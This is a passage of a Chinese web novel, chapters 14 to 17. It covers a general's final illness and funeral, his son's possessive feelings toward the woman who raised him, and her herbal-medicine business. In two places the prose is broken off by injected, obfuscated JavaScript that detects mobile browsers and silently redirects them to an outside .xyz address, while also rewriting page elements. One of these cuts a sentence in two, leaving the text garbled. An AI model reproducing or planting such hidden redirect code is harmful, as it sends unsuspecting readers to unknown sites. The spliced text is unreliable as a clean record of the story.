陈济川便道:“没来就算了,到时辰了,咱们开席吧。” 陈济川的老友们大多都认识沈樱,这与在二房不一样,她大大方方招待宾客落了座。 陈锦时拉她挨着自己坐下,沈樱也没拒绝。 她朝陈兴点了点头,炮仗声便从门口响起,响彻了整个巷口。 陈济川举杯起身,声音洪亮:“今日请诸位来……” 他难得有这般精神头,说了好些话,沈樱有些担心他,拉着他轻声道:“将军少喝些。” 陈济川安慰她:“无碍,我今日高兴。” 菜刚上桌,陈锦时先往沈樱碗里夹了块肘子肉。 哪知满桌顿时哄笑:“时哥儿真是长大了,怪不得外头都传你有孝心。” 14.第 14 章 陈锦时往她碗里夹菜的动作顿了顿,目光扫过席间,挑眉瞥了眼说话那人,随即笑起来:“应该的。” 沈樱看了他一眼,没看出什么不对来,想是没人惹恼他。 一众人恭贺声、闲谈声交杂,一时间热闹的很。 沈樱正与一位客人说着话,哪知陈锦时又递了一筷子虾仁过来,她示意放她碗里,他定要递到她嘴边。 众人又起哄,无非是说些时哥儿懂事又有孝心,懂得体恤关心她的话。 他笑得越发得意,她无奈掩唇张嘴接住,指尖在桌下轻轻捏了捏他腰际,示意他规矩些。 他却拿左手反手握住她的手,指尖挠了挠她掌心,像是在讨好,又像是在挑衅。 沈樱猛然抽回手,脸色微变,他又在捉弄她。 这阵子,捉弄她已成了他的习惯吗? 她用眼神警告他安分,他唇角微勾,轻轻挑眉,轻笑了两声。 陈济川与老友们谈得热络,偶尔瞥过来一眼,见两人这般模样,倒嘱咐陈锦时一句:“多看顾着你阿姆。” 陈锦时扬声应道:“知道了!” 沈樱只觉浑身不自在,想坐得离他远些。 陈锦时往她杯子里添了些温水,凑她耳边小声道:“阿姆别喝酒了,我给你备的温水,我爹也是喝的这个。” 沈樱蹙眉看他,他说话时的热气拂过耳廓,沈樱脊背发麻,蹙眉看他。 “咳咳。” 两人回头,陈锦行正站在他们身后。 陈锦时一脸“你到这儿来做什么”的表情,沈樱脸有些发红。 陈锦行朝沈樱举杯,结结实实敬了一杯:“阿姆为陈家做了许多,又耐心教导我医术,陈锦行记一辈子,终生不忘……” 见他一本正经地说起这些话,沈樱倒还不太自在,她只是做了她该做的而已。 席间有人喝多了,笑着插话:“锦行不必说这些,当年陈将军救下都兰他们一家,你是没见着,我们这些骑在马上的可都看见了,都兰望着你父亲那目光,都望得发痴了,那叫一个仰慕不已,后来磕了头死也要跟着他走,我们当时都开玩笑说,将军不如就接纳她的‘以身相许’,谁知两人却不是这个意思。” 人喝多了,说起往事来滔滔不绝。 陈锦行浅笑着,说自己只做自己该做的事情,与父亲做了什么无关,阿姆待他好,他自当感恩。 陈锦时埋着头,指尖把玩着酒杯,一圈一圈打转。一时安静得很,睫毛垂得很低,遮住眼底翻涌的郁气,有时又冷又锐地刺出来,很快又按了回去。 有人喊他:“说起来,都兰照顾时哥儿最多了,时哥儿小时候那叫一个调皮。” 沈樱连忙示意那人少说两句,陈锦时最不爱听这话,再说,谁小时候不调皮了,长大了谁又爱听这种话。 陈锦时却举起酒杯,嘴角微微上扬,眼尾盛着浅浅的笑意,对沈樱道:“陈锦时自然也当,涌泉相报。” 待窗外的日头落得只剩些余晖,陈济川与几位老友道别,沈樱站在廊下送客,陈锦时递来一件披风。 她接过披上,从外面请来的仆妇们在收拾杯盘,他走到她身边,手里捏着个桂花糕啃,见她望着庭院出神,递过一块。 她轻轻摇头:“多谢,我不吃。” 陈锦时怔了怔,收回手。 她也微怔,她以为他会强迫她吃,至少不会就这样罢休。 她侧头看他,只一眼,视线便被他捉住了,怎么会有人的目光像一条绳子,一旦对上,便被牢牢攥住。 她轻轻躲闪,他问她:“我真有那般调皮,那般让你苦恼吗?” 沈樱一怔,她其实没什么苦恼。对他,她不过尽力而为,并非是,他把自己作死了或是作废了她就活不下去了。 但她尽力阻止他变成那样,把他往好的方向带,现在看来,成效明显,她挺满意的,既然如此,不好听的话就不必再说。 她轻轻摇头,笑着道:“没有的事。” 接下来的时日里,陈锦时没怎么往书院去,偏偏书院里的汪山长现在顶不敢管他,府里便没有察觉这件事。 他每天辰时出门,申时末回家,正常向她请安,偶尔到她铺子里去,她便也没察觉出什么不对来。 哪里知道陈锦时日日在演武场上舞刀弄棍,学业已经荒废不少时日了。 陈济川再次病倒,来得猝不及防。 沈樱给他把了脉,走出房门,朝陈锦行摇了摇头,避着陈济川与他低声说:“一到三个月。” 陈锦行眉眼耷拉下来,脊背稍稍弯了一些,其实这早就是意料之中的事了。 陈济川早年间肺腑受损,胸膛上和腹部都有洞穿伤,从武虽然给他带来了无上荣耀,却也带来了极大的伤害。也因此,陈济川宁愿家里生生世世都是平民,也不想让孩子们从武。 陈锦行缓了一会儿,安慰沈樱道:“阿姆,咱们早有准备的,一切如常进行,好吗?” 沈樱点头:“好。” 棺椁是去年就备好了的,陈济川能多捡一年,也该高兴的。 陈锦时从城郊急匆匆赶回来,衣服都没来得及换,身上全是在石子地上沾的灰。 “阿姆——” 他见她失魂落魄地坐在园子里的树下,往常他每日回来时,都是她与父亲一同坐在树下的场景,他们总有谈不完的话,一个在摇椅上摇啊摇,一个在一旁做针线。 往常最看不惯的场景,此时却叫他巴不得再多看几眼,最好一辈子都是那样。 听见他叫她,她手掌撑着额头扭头,眼里满是疲惫,陈济川的病对她来说是打击很大。 又瞧见他身上的灰,额上的汗,不难知道他在外面做什么。 她又扭过头,陈锦时看到她眼底一闪而过的失望,心如刀割。 他蹲到她跟前去,拉过她的手,捏在胸口。 她没动弹。 “阿姆——” 她再回头,垂眸看他。 他的手掌很大,完全包住了她本就不算小的手掌。 “我会一直陪着你的,你别怕。” 她轻轻摇头。 他目光坚定,捏了捏她的手,起身:“我去看看他。” 沈樱没有完全放弃陈济川,她把自己关在房中,日复一日地熬药、调方子,又把陈锦行叫过来,与他没日没夜地商讨。 陈锦行虽知道希望不大,却还是由着她吩咐的那样折腾。 直到她一时又想到什么稀奇古怪的方子,要拿去给陈济川试,陈锦行拦住她:“阿姆,现下让父亲舒舒服服地度过去才是最重要的。” 听了这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121237|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沈樱稍稍泄了气,事实确是如此,何必再折腾他呢。 剩下的日子,陈济川想做什么便做什么,想吃什么便吃什么。 陈锦云也到了知事的年纪了,陈济川看着她才更是头疼,要论他最亏待的,也就是女儿了,亡妻又是因产下女儿而去,导致他许多时日都不太爱去看她。 好在陈锦行与陈锦时两个对她多有照顾,沈樱也待她很好,陈锦云对亲生母亲完全没有印象,对沈樱倒是亲热得很。 但陈济川哪里好意思叫沈樱帮他照顾孩子那么久,耗她四年大好年华,他心里已是十分过意不去。 “等我走了,叫锦行娶妻,家里的事情,自有他人照管。都兰,你到时要留在金陵,或是回楼烦去,都随你,别管老二到时候要怎么纠缠。” 谢清樾营务繁忙,近日才找到时机来金陵一趟,看望师父陈济川。 沈樱都没时间筹备招待他的事情,人就那么来了。 谢清樾见了她,躬身行了一礼:“早就听师父说过府上来了您这么位长辈,清樾见过沈姑姑。” 沈樱一愣,拉他起来,惊讶他的胳膊结实程度,硬得像块铁。 她带他往后院走,一路走一路絮絮叨叨:“将军病了有些时日了,你来得倒是不巧,我本还打算好好招待你一回的。” “沈姑姑不必多礼,是我来晚了。” 两人行至陈济川房门前,陈锦时恰好从里面出来,他年纪比谢清樾要小不少,谢清樾比陈锦行还要大两岁。 若不是中间夹杂着这么层关系,谢清樾是断不能叫沈樱姑姑的,两人差不多同龄,差得远没到论辈的地步。 陈锦行蹙眉打量来人几眼,这人他小时候见过,可他算什么身份,怎的把沈樱叫得这样亲热。 谢清樾比陈锦行高出一整个头,肩背练得宽阔如铁板,身上又有股勋贵之家的矜贵气度,一身锦衣,陈锦时看他很不顺眼。 谢清樾倒不在意,伸手摸了摸陈锦时的头:“时哥儿,你都长这么高了。” 陈锦时不动声色地避开,道:“我爹刚歇下。” 谢清樾一愣:“倒是不巧,那我……” 沈樱推开门邀他进去:“将军一般不在这个点儿睡觉,咱们小声些进去就是了。” 说着,她瞪了陈锦时一眼。 两人一进去,陈济川果然醒着。 沈樱到房间四处去点灯,道:“这屋子里怎的这么暗沉沉的,白天跟晚上似的。” 谢清樾来到床边,看着床上形容枯槁的师父,心里难受。 沈樱拍拍他的肩,示意他别表现得太难过,这事儿大家早有准备。 谢清樾回过神来,朝陈济川笑着:“师父你看,这是我们神机营里新研制出来的火器。” 说着,沈樱才发现他腰间别着一把火铳。 陈济川果然来了兴致,两人拿着那把火铳叽叽喳喳谈论了许久。 又说起那东西威力有多大,射程有多远,在战事上有多大用处。 沈樱对这些不感兴趣,便推门出去,陈锦时穿着一身布衣,站在门口等她。 他往门内瞥了一眼,对她道:“他都多大年纪了,叫你倒是叫得亲热。” 沈樱冷着一张脸看他:“陈锦时。” 陈锦时闭嘴,一脸烦躁地到外间坐下。 15.第 15 章 这些时日,沈樱难得关心他一回,便问道:“你这些日子功课做得如何,有在好好读书吗?我倒是没工夫管你。” 陈锦时轻轻点头,自从上次回来见她般失魂落魄,他再没往城郊去过,日日在屋里看书,生怕惹她动气。 他再也不想从她脸上看到那样失望的神情,那让他心如刀锉。 谢清樾从陈济川房里出来,也到厅堂坐下,与沈樱闲聊。 陈锦时最受不了的就是这个。 她可以与任何人像大人与大人之间的谈话,与父亲、与陈锦行、与谢清樾……却独独与他像是对小孩子一样说话。 谢清樾问起她:“将军是从什么时候开始病的?都用了些什么药?” 问到:“金陵冬日气候如何?各个季节都产些什么时令?” 又到:“陈家生意上如何?可有什么难处?” 沈樱一一与他答了,两人竟很能说到一处去。 沈樱叫陈兴去香满楼订了一桌简简单单的席面回来,家里有客,总不好叫人家干坐着。 陈锦行也早早回来,与谢清樾攀谈了几句。 他心里清楚,若不是仗着父亲的关系,他们这样的人家,如何也不能与谢清樾坐在一张桌子上吃饭。 陈锦行把这层意思说给陈锦时听,要他规训自身的无礼,陈锦时不服,称谢清樾待沈樱太过熟络,沈樱待谢清樾也太过热情,陈锦行便道:“就算是阿姆,也是仗着父亲的关系,才留在家里照顾你,你没资格说这些。” 这话让陈锦时捏紧了拳。 他冷眼看着容色更冷淡的哥哥:“我是暂时不如谢清樾,但我与阿姆,容不得你这么挑拨离间。” 陈锦行一怔,原以为这话能狠狠挫一挫他身上的锐气,或是又要与沈樱闹一闹脾气,却没想到他这次没中招。 这个向来冲动又莽撞的弟弟,倒让他有些意外。 陈锦时紧挨着沈樱坐了,谢清樾坐在她另一侧,一番交谈下来,两人愈发熟络。 谢清樾干脆解下腰间的玉佩赠她:“与沈姑姑初次见面,却总有故人之感。我来时尚促,未备厚礼,这点东西请务必收下。” 他正有请旨到北方边境历练的想法,见到在楼烦之地长大的沈樱,心底待她更是亲切。 沈樱犹豫着收下,不知怎的,她会担心这一幕落到陈锦时的眼里,似乎笃定了他会为此事无理取闹。 怪在陈锦时全程安安静静,连句阴阳怪气的话也没有。 她松了一口气,接过玉佩,感慨陈锦时真是长大了。 翌日一早,沈樱熬了药往陈济川房里送,路过谢清樾的房间时,正巧碰见他在院子里练功。 她端着药,惊呼一声,药差些撒出去。 谢清樾以掩耳不及迅雷之势奔到她跟前站定了,牢牢托住了她的托盘上的药。 沈樱扭过头,咬牙道:“谢公子,抱歉,我不知道你在这里。” “无碍,是我的问题。” 他扯过架子上搭着的衣服披上,在营里时习惯了每天清晨裸身练功,倒忘了这是在别人家。碰巧沈樱也忘了这个院子有客人在住,没刻意绕过。 “沈姑姑这是给师父送药?” 沈樱点头,仍不敢直视他,晃了晃脑袋,脑子里全是那紧实的脊背,汗水顺着肩线滑进腰窝,贲张的青筋,起伏的胸膛……谢清樾没上过战场,一身皮肉偏偏只有硬朗的筋骨,而没有张扬的伤疤,养尊处优的皮肉是丝缎般的质感,她不得不说,看起来极为赏心悦目。 正想着,他接过她手上的托盘:“我帮你送去。” 沈樱浑浑噩噩地没拒绝,往陈济川那处走时的脚步都是虚浮的。 她向来为这等精壮身体着迷,或许是因为……当年在性命攸关之际,如同天神一般降临的陈将军……就是如此: 山一般的男人,肩宽背阔,稳稳架住了她的天。 陈济川已经醒了,见两人一同走进来,谢清樾倒没什么,就是衣衫稍乱,只是都兰怎的连耳根都是红的?他心里疑惑,却没多问。 “师父,喝药吧。””谢清樾扶他坐起身,喂他喝了药。 三人围在一起说笑了一阵,怕陈济川精力不济,两人没待多久便出去了。 到了廊下,沈樱接过他手上的药碗:“给我吧。” 谢清樾没有推让。 “真是抱歉,我在这里待不了多久,营里还有要务,今日就得离开。” 沈樱还不太敢看他,谢清樾已将衣襟整理规矩,又对她道了声抱歉。 “谢公子,公务要紧,没什么好抱歉的,将军这里有我看着。” 谢清樾道:“师父这里若有任何消息,劳烦你务必要给我递信。” 沈樱垂下头,苦笑一声:“一定。” 只要谈起将军的事,她脸上就从没有什么开怀的脸色,谁都能看出她的沮丧。 谢清樾抬手虚放在她肩上,叹了声气,终究是把手拿开了。 这不合礼节。 沈樱目送他快步离开,眼底露出愈发失落的神情,她只怕是最不舍将军之人了。 陈锦时背抵在房门后面,看着她怅然若失,看着她伤心欲绝,看着她望着药碗发呆。 又想起那谢清樾的举动,他一拳砸在门板上,清脆一声门板响,沈樱惊得回头,哪里还有什么人的身影。 他的失落心情比她更甚,他压抑了许久,从马厩牵了匹马,飞奔着往城郊而去。 旺儿追了两步没能追上:“二少爷,你这是往哪儿去啊!” “二少爷等等我,你身上忘带药了!” “沈姑娘不许你这阵子乱跑,你忘啦!” 旺儿跑得气喘吁吁追了半条街,陈锦时跟没听到似的,好似就听见最后一句,回身朝他喊了一声:“我不是十岁了,她管不着我!” 旺儿累得蹲下,陈锦时骑马的动作利落,衣摆被风高高扬起,背影很快在烟尘里拉长,人与马成了一道利落的线。 得,听他这么说,旺儿回去都不敢往沈樱跟前告状去。 陈锦时骑马一路到了城郊演武场,军营里遍地是整齐的呼喝声。 他翻身下 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“可不能,人家现在是秀才老爷了,正儿八经的读书人,金贵着呢,战场这种地方可不适合他。” 所有人都知道,陈锦时经不住激,这么激上几句他说不定真要提枪上阵去证明自己不是孬的。 可惜陈锦时早已不是从前的陈锦时了,他很冷静,尽管他现在扔下长枪赤手空拳地把靶子砸得稀烂。 直到呼吸越来越难,胸腔收缩得越来越紧。 先是喉咙里涌上一阵痒意,喘症上来了,胸口像被一只无形的手攥紧。 赵德胜呵斥道:“你们几个别说风凉话了,陈锦时又发病了,赶紧上去把他扯下来。” 他喉咙里一边发出“嘶嘶”的声响,一边落拳落得更狠,挥拳的动作没半分迟疑,脊背因喘息而剧烈起伏。 “陈锦时!快停下!” 他置若罔闻,直到再也吸不上来一丝空气。 闭上眼的一瞬,他想,就算他不上战场,力气也没有白出。 他现在会被人送到她跟前去,而她一定会把她的所有目光、注视,重新落到他身上。 如果是在战场上,他就再也见不到她了,他又不傻。 陈锦时再次睁眼时,意识尚且混沌着。 鼻尖先于眼睛苏醒——那是淡淡的,像晒干的青草与混着羊奶的香,温温柔柔地裹着他,被子是晒过太阳的。 他动了动手指,触到的是柔软的棉绸,身下床铺的触感令他感到十分安稳,已经是黑夜了。 他睁开眼,呼吸平顺,侧过身,鼻尖埋进枕头里,气味更加清晰了。 他嗅了一会儿,看她背着身子坐在床边,窸窸窣窣地挪动臀,然后转过身来。 见他醒了,她的脸色从担忧一瞬变成了严肃。 他心里很静,他准备迎接她的责备,他能闻见空气里浮动着的她的气味。 他终于,又一次,睡上了她的床。 16.第 16 章 他闭了闭眼,将脸埋进枕头里,任由那股安心感漫上来,被温柔托住的滋味,他贪恋至极。 尽管她刚刚还是一脸严厉,俯下身来时,却骤然化开了眉眼间的冷厉,她的手抚上他的脸颊,柔声问他:“时哥儿,你怎么样了?好些了吗?” 不知怎的,她的声音他听得不很真切。 “嗯。”他轻轻点头,脸颊顺势在她的掌心里蹭。 她看他的样子,好像还很虚弱,神情便更柔和了些。 “你今天不太乖。” 她的手要撤开,他侧过头,把她的手压在他的脸与枕头之间。 她一愣,手肘撑在床榻上,身体不由得俯下来,脸正对着他。 “你知不知道他们送你回来时,你的脸色难看成了什么样子?” 他没答话,他尚未完全恢复的精力,只足够他全神贯注地看她,闻她。 “陈锦时,你真的把我吓得够呛。” 她毫不掩饰自己对他的担心,她知道他需要接收到这样的情感。 陈锦时仍不答话,一双眼睛只定定地看着她。 他两只手上全是伤,沈樱给他仔仔细细包扎了。 “你告诉我,你为什么要把自己弄成这样呢?” 她细细地、柔柔地问他。 她有着一双秋水般的眸子,长长的睫毛。 琥珀色的透明瞳孔,若是仔细看,对着光看,能看到一点点蓝绿色,像盛着水光的琉璃。 “你真的很不乖呢,以后不要再调皮了,好不好?”我真的……很为你感到苦恼。 他看着她的唇,如此的红润、柔软,又是那样意态温软的随着话语张合,张合,张合…… 他被她抱得从手指到脊椎都麻了,她没有抱他,但他却像是被她抱着一样……她的气味,她的声音,她温柔的温度、柔软的床…… 她好温柔,他魔怔一般生出一种冲动,想占有她的唇,说不清是想叫她闭嘴,还是干脆拿什么东西堵上…… “睡吧。” 她停止了对他的所有责备,然后抽回手,独自到了外间睡下。 阴雨连绵的一日,陈济川把三个孩子和她叫到跟前来。 沈樱看着他的模样,眼泪止不住在眼眶里打转。 却强忍着没有掉落下来。 “将军今日要说些什么?” 她坐在他床头,那帕子给他抹了脸。 陈济川交代的第一件事便是:“务必要将我与清萤埋在一起,她的坟冢旁,我当年特地给自己留了一块儿地的。” 陈锦行与陈锦时都没说话,沈樱终于忍不住落了泪,握着陈济川的手朝他点头。 “将军放心,都兰会这么办的。” 陈济川努力抬手给她擦泪,声音发颤:“我最对不起的就是你了,都兰,你为我做了好多……” 沈樱摇头,头歪着搁在他宽大的掌心上,“都是都兰愿意做的,都兰心甘情愿追随将军,为将军分忧。四年相伴,都兰已经十分心满意足。” 陈济川面上露出宠溺的笑:“都兰别哭,你还年轻,日子还长,等我走了,你去过自己想要的日子,从今以后为自己活,我救的这条命,我说了算,都兰,以后的日子,你一定要过得很好很好。” 沈樱含泪笑着:“都兰早已是死过一回的人了,这条命从前跟随将军,将来……听将军的,为自己活。” 陈济川招手让三个孩子过来。 “你们几个跪下。” 两个儿子,一个小女儿跪得板板正正。 “你们好好向阿姆磕头,我没别的遗言,我要你们三个,尤其是陈锦行和陈锦时,这辈子都要把她当做亲生母亲孝敬。往后无论她身在何方,你们都要成为她的庇护。” 听到这话,沈樱不住地摇头,她哪里当得起这样,她来到这里不过是为了报恩罢了。 陈锦行率先磕头下去,磕得很干脆,陈锦云也跟着磕下去。 陈锦时跪得笔直,两手捏拳,顶着陈济川强硬的目光。 “怎么?陈锦时,你不乐意?” 陈锦时紧咬着牙关,脊背轻易不能弯下去。 陈济川抄起床头的棍子来想要打他:“你个逆子!你阿姆那么对你,要是没她,你早就死了!” 陈锦时额头上青筋凸起,陈济川打弯了他的腰。 他俯地磕头,颤抖着声音叫了一声:“阿姆。” 这声“阿姆”实在象征着太多,他的呼吸又开始变得又短又急。 他不甘心呐。 起身时,许多事情都已经盖棺定论,包括他与她的关系。 陈济川的死讯很快传开,陈家大房开始发丧。 陈家门楣一夜之间挂上了素白幡旗,风一吹,哗啦啦地响。 沈樱哭得肝肠寸断,亲手将陈济川殓入棺椁,满怀虔诚。 之后日日守在停灵的房里,念叨着草原上的旧事。府里的事,全靠陈锦行和陈锦时奔走。 陈兴穿着孝服,在院里来回张罗,陈锦时站在灵棚角落,一身粗麻孝衣套在身上,显得肩背更宽了些。 他很少掉泪,只是望着那口红棺,指尖无意识地摩挲着袖口。 垂眼掩住了所有神情。 日日夜夜跪坐在棺前的那道身影,瞧着清减了不少,两只眼睛又红又肿,不住地抽噎。 陈锦时面露烦躁,想干脆叫她别哭了,又觉得自己实在没这个资格。 陈锦行的话不住地在他脑海中浮现:父亲没了,他在她面前算什么? 不相关的人罢了。 只怕她烦他都来不及。 正想着,陈锦行手上托着礼单进去,躬下身子与她说话。 她擦了擦眼泪,与他说起正事来。 陈锦时看得一怔。 沈樱用袖口蹭了蹭眼角,撑着身子稳稳站起来。 “药库清点了吗?” 她声音有些哑,但只要一发话,便有那当家“主母”的威严在。 陈锦行在她跟前卑躬屈膝。 “已经清点过了,阿姆,这是新的账册,还有这些吊唁的礼,我都按品类归置了。” 沈樱接过礼单,指尖划过那些密密麻麻的名字,记住这些人情往来,更别提还有皇上送来的一份丧仪,更需要妥善归置。 她点点头:“你做得很好。对了,陈锦时呢?怎么没见他?” 陈锦行回头望去:“刚刚还见着他在门口站着呢,这会儿又不知上哪儿去了。” 沈樱便道:“这里事多,先别管他了。” 陈锦行斜斜瞥了一眼门口的方向,耸耸肩,垂首无奈道:“只要他这阵子不闯祸,我就谢天谢地了。” 陈锦时背抵在墙上,冷笑了一声,没说话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134024|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢清樾刚回京不久,接到这个消息时心里一惊,又马不停蹄地往金陵赶。 出殡的这日,陈锦行与陈锦时两兄弟在前执幡引路,沈樱将棺材送出了门,又倚在门框上哭了许久,她没跟着上山去,只能在家里哭最后一次。 谢清樾帮着封土立碑回来,见她晕倒在府门前的地上,连忙上去扛人。 他宽肩阔背的,把人轻轻巧巧地就提起来了。 “沈姑姑,沈姑姑,你醒醒。” “唉,晚辈失礼了。” 陈锦行和陈锦时还在山上收尾,连着亲生母亲一同祭拜,并未看到这一幕。 谢清樾把沈樱扛到她的房间,又推了她两下,见她丝毫没有醒来的意思,只好先守着她。 府上现在一个人也没有,空空荡荡的,他总不能把她一个人儿留在这里。 他望着床上的人,喃喃道:“你不会是一连哭了好几日吧。” 见她脸颊通红,又是一惊,道了一声得罪,覆手上去摸了一下。 “坏了,这是在发热。” 他心头一紧,再顾不得许多,转身就往门外走。 他大步穿过天井,直奔后厨,捡了柴生活,动作稍显生涩,但在军营里待惯了的,多少都会一些生活做饭的本事。 他又到陈家药库里翻箱倒柜找了半天,寻到一些熟悉的柴胡和金银花,一边熬药,一边烧些热水给她。 他拿棉布浸了温水拧干,回到房间,沈樱还昏睡着,脸颊越来越红了,嘴里还嘤咛着身上难受的话。 他屏住气,小心翼翼拿棉布擦她的额头。 恰在这时,两兄弟回来了。 陈锦行还算淡定,陈锦时一看见这一幕,他阿姆躺在床上,谢清樾这小子在她房间!还要摸她的脸! 他红了眼,上去一掌搡开谢清樾:“谢清樾!你在做什么!” 尽管谢清樾一身肌肉如山,壮实得很,可没做准备的情况下被同样力气不小的陈锦时这么一推,也往旁边倒了倒,很快稳住身形。 他也不恼陈锦时,解释道:“沈姑姑发烧了,我看家里没人,才……” 说着,陈锦行从他手上接过药碗,姿态比陈锦时礼貌多了,他颔首道:“多谢谢公子,是我们回来晚了,现在这里不需要你了,我们来就行,还请你稍稍出去些。” 陈锦时道:“你都多大岁数了,也好意思叫她姑姑,出去出去,你出去!” 从他手上夺过沾湿水的帕子,两人一齐把他往外赶,接手了正在他手上的事。 陈锦时来到沈樱床前,见她面露难受,心里也揪着疼。 “阿姆,是我。” 又扭过头道:“陈锦行,你来给她把脉,然后去熬药。” 陈锦行闻了闻谢清樾熬的药,摇摇头,这药的确不行。 他来到床边坐下,陈锦时从被子里掏出一根手腕交到他手上,陈锦行细细把了脉,便起身,点点头:“知道了,我这就去给她熬药。” “唉。”陈锦时叫住他。 陈锦行回头,看着陈锦时。 陈锦时道:“她病得严重吗?” 陈锦行摇摇头:“只是这几日悲伤过度,累着了,寻常发热,吃了药就好。” 陈锦时埋下头,轻点了点:“哦。” 两兄弟配合着,一个熬药,一个给她擦身子,狠狠关上门。 17.第 17 章 陈锦时将她的衣领扯得开了些,拿帕子到她脖颈处擦汗。 细白的颈子,汗津津的,突出的锁骨窝没入衣襟里。 她还昏着,长睫湿漉漉搭着,沾了点细汗。 陈锦时一边轻轻给她擦拭,一边面露烦躁:“叫你歇着点,叫你别哭别哭,这个家里就数你哭得最大声了。” 她的脸颊烧得发透红色,嘴唇苍白,此时蹙起眉头,嘤哼了两声。 高挑的身姿此刻陷在被褥里,显得格外纤弱,她的皮肤是饱满的轮廓,眉眼都生得舒展。 陈锦时闭了嘴。 看着锁骨往里延伸的,浸着薄汗,泛着微红的起伏肌肤,他深呼几口气,最后撂下帕子,朝外喊:“旺儿,去把陈锦云叫来。” 然后又扭头看她,自言自语道:“叫陈锦云过来给你擦身子,她长那么大该干活儿了。” 陈锦行的药先端过来,陈锦时伸手接过,陈锦行并不与他争这个。 “陈锦时,你吹一吹再喂。” “我知道。”陈锦时拿汤匙搅动药汤,闻了闻,斥责陈锦行道:“怎么这么苦?加点糖行不行?” “不行,加糖会影响药性。” 他没好气道:“那你就琢磨琢磨,怎么能让药不这么苦。” 陈锦行没说话,家里现在少了个人,冷清得要命,几人全挤在汀兰园里,倒像是报团取暖似的。 “喂,晚上吃什么。” 陈锦时把药往沈樱嘴里喂,不耐道:“刚葬了爹,清淡吃点吧,吃白粥。” 陈锦行往外走:“行,我去叫陈兴安排。” 一走出汀兰园,白幡还没来得及撤下来,前阵子吊唁的宾客又多,府里总共没几个下人,如今显得格外乱糟糟。 陈锦行踢了一脚地上掉落的白灯笼,积累已久的压抑情绪很难不爆发出来。 他两腿站不住,便扶住一块石头,缓缓蹲下,顿了一会儿,放声大哭起来。 陈锦云身量刚抽条,像株冒头的青竹,瘦伶伶却透着脆生生的劲儿。 她跑着过来,鼻尖带着薄汗。 “二哥,阿姆怎么样了?” 陈锦时刚给她额头上换了沾温水的棉布,回过头道:“你给她擦擦身子,省得她睡的不安稳。” 陈锦云接过帕子,点点头:“哦,好。” 陈锦时刚解开沈樱头上的辫子,棕褐色的头发蓬蓬松松堆在枕上,拥着她的脸。他放肆地抚了抚她的脸颊,起身离开,留陈锦云给她脱衣服。 陈锦时一路走到院子里,看见他哥蹲在前面,背脊一耸一耸的。 他蹙眉,没有走上前去,只是垂眸,盖住了满眼悲伤。 家里实在太冷清了,他也需要时间来适应。 沈樱很快醒过来,她身体底子好,睡一夜便大好了。 同样的,斯人已逝,那些悲伤的情绪很快被她强行抛在脑后,只是有时候望着将军曾经坐过的椅子、待过的地方,与她谈笑的时候……她难免要沉进去一会儿。 呆愣愣地在树下坐着,做针线,喝茶,赏花。 陈锦行有时能与她聊上几句,柜上的事情,或是哪位病人的疑难杂症。 沈樱照常到柜上去,这些天柜上的事情全由白掌柜操持,她给他涨了些工钱。 白掌柜看她一身碧衣,打扮得素净,拱手连声安慰:“东家节哀,务必节哀。” “无碍,先把账册拿来给我看看。” 她往交椅上坐了,一条腿搭在另一条腿上,接过账册,指尖捻着账册封皮,目光快速扫过。 翻阅完,又起身走到整齐码放的药柜前,挨个检查药材。 “白掌柜,这三七的成色不太行啊?” 白景堂额头冒汗:“东家,这阵子上上来的货都不太行,原先合作的几位药行不肯给咱们供货了。” 沈樱很快明白过来,必是二房那事的余波。 可这些日子,倒没听陈锦行与她说起这些,她翻看陈家铺子的账册,也并没有什么异样。 看来二房虽与她结了仇,但迫于老爷子的压力,并未影响到陈锦行手上的生意。 白景堂试探着道:“东家,要不,叫大少爷或是二少爷去跟老太爷说说?都在一处做生意,又有家里的交情,何必闹成这样呢。” “不用,我想办法从北方进药材回来,把这些陈货都丢了。”她语气平淡,不容置疑。 白景堂劝她:“虽是陈货,药效却没多大的影响,这两月尽是亏钱了,东家,我不得不张嘴劝劝你。” 沈樱点头:“无碍,你照我说的做便是,从今往后定喘散只有咱们店能卖,早晚能转亏为盈。” 做药局靠的是口碑,现在最不能用陈药坏药砸招牌,她手里还有不少配方,慢慢来总能积累名气。 陈锦行知道她这里遇到了难处,便主动问她:“可需要从我这边替你采买药材回来?” “不用,咱们两家牵扯过多,将来会不好分割。” 陈锦行怔怔望着她侧脸,许久未能回神,冷冰冰的话砸在耳边,让他有些失措。 沈樱却浑然未觉,她说的是一句再理所当然不过的话了。 沈樱想采买价廉物美的优质药材,要绕过由陈家盘踞的金陵行事,她往北境父兄手里递了信,托他们帮着采买,又派人去京城打听药材商行。 她知道京城沈家就是她外祖沈家,但当初她母亲不顾家里反对远嫁到楼烦之地去,已经与家里闹到了不可开交的地步,双方都不愉快。 沈樱也并不打算兀自前去认亲,那太唐突冒昧了。 没承想,谢清樾得知她的“都兰蒙药”在京城采买药材的消息,主动给她回了信,说帮她留意。 沈樱起初并不愿意,严格来说,谢清樾也算是她借陈家结实的人脉,她兀自用了,将来万一又说不清。 她都能想到陈家二房那些人的口吻,说她:“借陈家资源起家。” 但谢清樾待她十分真诚,两人论私下交情,便没什么不可以的了。 从京城来的第一批药材到了后,沈樱细细检查了一番,俱是上好品质。 这么长时间以来,陈锦时还是头一次看见她脸上露出笑来。 白掌柜也松了口气:“京城那位谢公子真是帮了咱们大忙了。” 